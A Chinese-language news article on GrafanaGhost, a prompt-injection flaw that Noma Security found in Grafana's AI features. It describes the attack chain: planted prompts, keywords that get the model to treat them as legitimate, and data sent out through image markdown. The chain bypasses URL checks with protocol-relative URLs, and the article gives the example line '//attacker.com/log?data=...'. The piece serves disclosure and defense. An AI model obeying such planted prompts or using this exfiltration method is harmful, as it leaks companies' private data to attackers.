一家AI安全公司今天扔出一颗炸弹：Grafana的AI功能里埋着一个漏洞，能让攻击者在用户完全无感知的情况下，把企业敏感数据偷走。不需要钓鱼邮件，不需要点任何链接，甚至不需要用户批准。
Noma Security的研究人员给这个漏洞起了个名字——GrafanaGhost。听起来像恐怖片里的配角，但干的事比鬼吓人多了。它能让攻击者绕过客户端防护和AI护栏，把Grafana环境里的私有数据直接送到外部服务器。
Grafana是什么？简单说就是企业用来监控基础设施、应用指标和业务数据的仪表盘工具。全球大量公司靠它实时追踪服务器状态、业务数据流。现在这些仪表盘旁边蹲着一个看不见的窃听器。
攻击路径像一场精心设计的魔术：先藏提示词，再骗过浏览器，最后让AI自己把数据交出去。
Noma的研究团队还原了完整攻击链。第一步是找到一个能存储 crafted prompts（精心构造的提示词）的位置，这些提示词会被Grafana的AI组件后续处理。关键是让它们看起来完全正常，混在日常工作流里不引起怀疑。
研究人员最初尝试用标准图片标签外泄数据——把敏感信息藏在图片请求里发到外部服务器。Grafana确实有防护机制，会拦截外部图片加载。但Noma发现，这些控制措施可以被绕过，漏洞出在应用验证URL的方式上。
具体来说，客户端逻辑有个致命假设：任何以斜杠开头的图片源都被当作相对路径，是安全的。研究人员用了个老技巧——protocol-relative URL（协议相对URL），也就是以双斜杠开头的地址。这样既能通过验证检查，又能让浏览器指向外部域名。
比如一个看似无害的//attacker.com/log?data=...，系统以为是本地路径，浏览器却知道要连到攻击者的服务器。
最讽刺的一步：让AI自己拆掉护栏
绕过客户端防护只是前半场。真正的技术活在于突破模型自身的安全机制。Noma发现，只要在间接提示词里加入特定关键词，模型就会把这些指令判定为合法内容。
结果是：恶意的图片标记down被正常处理，数据外泄在后台自动完成。用户看着仪表盘一切正常，敏感信息已经源源不断流向外部。
整个过程不需要用户交互，没有弹窗，没有权限请求，甚至没有网络流量上的明显异常——因为数据是借道"正常"的图片加载请求出去的。
负责任的漏洞披露，但问题没完
Noma Security选择了负责任的披露流程。他们在公开细节前先联系了Grafana团队，Grafana方面迅速响应，验证了研究发现并推送了修复补丁。
Noma官方评价这次合作是"研究人员和构建者携手让AI更安全的典范案例"。话是这么说，但GrafanaGhost暴露的问题远比单个漏洞深远。
Acalvio Technologies CEO Ram Varadarajan给SiliconANGLE的邮件里点出了要害：「GrafanaGhost完美诠释了AI集成如何制造巨大的安全盲区——攻击者利用的完全是按设计运行的系统组件。」
这句话值得拆开品。不是代码写错了，不是配置搞砸了，是功能本身的设计在特定组合下产生了预期外的效果。就像一把钥匙，每道齿都符合标准，拼在一起却能打开不该开的门。
AI安全的新战场：提示词即攻击向量
GrafanaGhost属于一类越来越常见的攻击：间接提示词注入（indirect prompt injection）。攻击者不直接跟AI对话，而是把恶意指令藏在AI会处理的内容里——文档、邮件、网页、配置文件，任何数据管道能流进AI的地方。
传统安全思维聚焦在"坏人怎么突破防线"。但AI系统的特殊性在于，防线的一部分是AI自己的判断，而判断可以被操纵。你很难用防火墙规则拦截"让AI误以为这是合法指令"的攻击。
Grafana的案例还揭示了一个结构性风险：企业软件正在快速叠加AI功能，但这些功能往往嫁接在原有架构上。观测平台加AI助手，文档工具加AI总结，代码编辑器加AI补全——每个加法都是新的攻击面，而安全审查的速度跟不上产品发布的节奏。
Noma的研究显示，Grafana的AI组件处理用户内容时，没有充分隔离来自不可信来源的数据。提示词存储位置缺乏严格的来源验证，模型层的防护又过于依赖关键词匹配这种容易被绕过的机制。
这不是Grafana独有的问题。过去两年，从Microsoft 365 Copilot到各种AI插件，类似的提示词注入漏洞被频繁发现。区别在于，有些影响的是单用户会话，而GrafanaGhost能造成大规模、自动化的数据外泄。
企业该做什么？Noma的建议很直接：审计所有AI集成功能的数据流，假设任何进入AI管道的数据都可能被污染，在模型层之外建立额外的验证层。
但知易行难。Grafana的用户大多是运维和开发团队，他们的核心关注点是系统可用性，不是AI安全细节。补丁已经推送，但有多少管理员知道这个漏洞的存在？有多少检查了是否已被利用？
修复之后，影子还在
GrafanaGhost的技术细节已经随着补丁发布而失效，但它留下的问题清单还很长。
首先是披露透明度。Grafana的修复速度很快，值得肯定，但官方公告对漏洞严重性的描述相对克制。没有CVE评分，没有受影响版本的详细清单，没有建议的紧急响应措施。对于依赖Grafana监控关键基础设施的企业来说，这些信息缺口意味着无法准确评估自身风险。
其次是AI功能的默认启用状态。Grafana的AI组件是可选功能还是默认开启？用户在安装或升级时是否清楚自己启用了哪些AI能力？这些问题直接关系到攻击面的大小，但文档里往往语焉不详。
更深层的矛盾在于：AI功能的价值主张是"让复杂数据更易理解"，但实现这个功能需要让AI接触原始数据。接触越多，泄露风险越大。GrafanaGhost展示了一种极端情况——AI不仅接触数据，还能主动发起网络请求，而请求的目标可以被操控。
安全社区对此的反应呈现两极。一部分人认为这是个经典的安全边界模糊案例，修复了就翻篇；另一部分人则警告，这只是AI供应链攻击的预演。当企业把越来越多核心工作流交给AI中介，类似GrafanaGhost的漏洞会变成常态而非例外。
Varadarajan的点评还有后半句没说完：系统组件按设计运行，但设计本身没有考虑AI时代的攻击模型。传统软件安全假设代码有bug、配置会出错，所以重点是找bug、修配置。AI系统多了一个变量：输入数据本身可以是攻击代码，而系统会忠实地执行它。
这有点像SQL注入的早期年代。开发者以为用户输入的就是数据，直到有人证明输入可以是代码。提示词注入正在经历类似的认知转变，只是速度更快、影响范围更广。
Grafana的修复措施具体包括哪些？根据Noma的披露，主要是加强URL验证逻辑，阻断protocol-relative URL的滥用，以及增强模型层对可疑提示词的识别。但这些是点状修复，还是架构层面的重新设计，目前信息有限。
对于已经部署Grafana的企业，最紧迫的动作是确认补丁已应用，并审查近期日志中是否有异常的外部图片请求。GrafanaGhost的攻击在日志里并非完全隐形——那些双斜杠URL的加载请求会留下痕迹，只是需要知道该看什么。
更长远的挑战是建立AI功能的持续风险评估机制。不是每次出漏洞才打补丁，而是在设计阶段就假设AI组件会被滥用。这意味着更严格的输入隔离、更保守的默认权限、更透明的用户告知。
GrafanaGhost的名字取得贴切。它像幽灵一样存在于系统深处，利用的是正常功能的正常行为，直到有人特意去寻找才显形。而寻找的人——Noma Security——恰恰是靠研究AI安全风险吃饭的。这引出一个不太舒服的问题：还有多少类似的幽灵，正躺在其他企业软件的AI功能里，等待被发现或利用？
补丁已经推送，合作被赞为典范，但GrafanaGhost的真正遗产可能是让更多CISO（首席信息安全官）在审批AI功能采购时，多问一句：这个功能如果按设计运行，最坏情况下能造成什么损害？
你的Grafana仪表盘今天加载了什么图片，你真的知道吗？
热门跟贴